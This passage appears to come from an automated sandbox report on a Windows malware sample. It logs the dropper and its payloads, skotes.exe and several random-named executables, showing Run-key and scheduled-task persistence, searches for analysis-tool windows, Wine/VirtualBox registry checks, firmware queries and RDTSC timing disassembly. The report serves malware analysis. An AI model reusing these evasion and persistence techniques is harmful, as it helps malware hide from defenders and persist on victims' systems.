Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8407c5d8e2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8407c5d8e2.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef7349e1dc.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ef7349e1dc.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ae09953578.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ae09953578.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEE0A second address: 10BEE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10BEE12 second address: 10BEE16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DCDD6 second address: 10DCDFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F32DD0C5336h 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F32DD0C5348h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD0CA second address: 10DD0D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD0D3 second address: 10DD0D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DD3B8 second address: 10DD3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF16E second address: 10DF173 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF173 second address: 10DF185 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jbe 00007F32DCC6AEF6h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF185 second address: 10DF24C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F32DD0C533Ch 0x0000000c jnl 00007F32DD0C5336h 0x00000012 popad 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push eax 0x00000017 call 00007F32DD0C5338h 0x0000001c pop eax 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc eax 0x0000002a push eax 0x0000002b ret 0x0000002c pop eax 0x0000002d ret 0x0000002e adc edi, 6599F867h 0x00000034 push 00000000h 0x00000036 mov esi, ebx 0x00000038 push 8F06455Bh 0x0000003d push eax 0x0000003e jmp 00007F32DD0C5348h 0x00000043 pop eax 0x00000044 add dword ptr [esp], 70F9BB25h 0x0000004b jmp 00007F32DD0C5340h 0x00000050 push 00000003h 0x00000052 mov ecx, 71139487h 0x00000057 mov cx, 8174h 0x0000005b push 00000000h 0x0000005d sub esi, dword ptr [ebp+122D2AE0h] 0x00000063 jmp 00007F32DD0C533Dh 0x00000068 push 00000003h 0x0000006a mov dl, cl 0x0000006c call 00007F32DD0C5339h 0x00000071 push eax 0x00000072 push edx 0x00000073 pushad 0x00000074 jbe 00007F32DD0C5336h 0x0000007a jmp 00007F32DD0C5347h 0x0000007f popad 0x00000080 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF24C second address: 10DF27F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F32DCC6AEFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F32DCC6AF09h 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF27F second address: 10DF284 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF388 second address: 10DF38D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF38D second address: 10DF3E2 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F32DD0C5343h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c jmp 00007F32DD0C5341h 0x00000011 push 00000000h 0x00000013 or di, 3FCCh 0x00000018 push 1528559Fh 0x0000001d pushad 0x0000001e pushad 0x0000001f jl 00007F32DD0C5336h 0x00000025 jmp 00007F32DD0C5341h 0x0000002a popad 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e pop eax 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF3E2 second address: 10DF469 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F32DCC6AEF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b xor dword ptr [esp], 1528551Fh 0x00000012 cld 0x00000013 push 00000003h 0x00000015 mov esi, dword ptr [ebp+122D2627h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push esi 0x00000020 call 00007F32DCC6AEF8h 0x00000025 pop esi 0x00000026 mov dword ptr [esp+04h], esi 0x0000002a add dword ptr [esp+04h], 00000015h 0x00000032 inc esi 0x00000033 push esi 0x00000034 ret 0x00000035 pop esi 0x00000036 ret 0x00000037 mov ecx, 129C487Ch 0x0000003c or dword ptr [ebp+122D1F81h], edx 0x00000042 push 00000003h 0x00000044 jmp 00007F32DCC6AF05h 0x00000049 push ecx 0x0000004a cld 0x0000004b pop edi 0x0000004c call 00007F32DCC6AEF9h 0x00000051 push eax 0x00000052 push edx 0x00000053 jng 00007F32DCC6AF0Dh 0x00000059 jmp 00007F32DCC6AF07h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF469 second address: 10DF494 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007F32DD0C533Ah 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007F32DD0C5346h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DF494 second address: 10DF4B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d jmp 00007F32DCC6AEFAh 0x00000012 pop esi 0x00000013 mov eax, dword ptr [eax] 0x00000015 push eax 0x00000016 pushad 0x00000017 push edx 0x00000018 pop edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE64C second address: 10FE652 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE7B2 second address: 10FE7B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE7B6 second address: 10FE7C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F32DD0C5336h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FE7C5 second address: 10FE7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEC41 second address: 10FEC52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DD0C533Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEC52 second address: 10FEC56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEE06 second address: 10FEE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF1C5 second address: 10FF1CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF1CD second address: 10FF1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F32DD0C533Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF334 second address: 10FF340 instructions: 0x00000000 rdtsc 0x00000002 js 00007F32DCC6AEFEh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF340 second address: 10FF351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F32DD0C5389h 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF351 second address: 10FF386 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F32DCC6AF01h 0x00000009 jmp 00007F32DCC6AF05h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F32DCC6AEF6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF386 second address: 10FF38A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF38A second address: 10FF38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF4D7 second address: 10FF4E5 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F32DD0C5336h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF4E5 second address: 10FF511 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F32DCC6AEF6h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jp 00007F32DCC6AEF6h 0x00000013 jmp 00007F32DCC6AF07h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
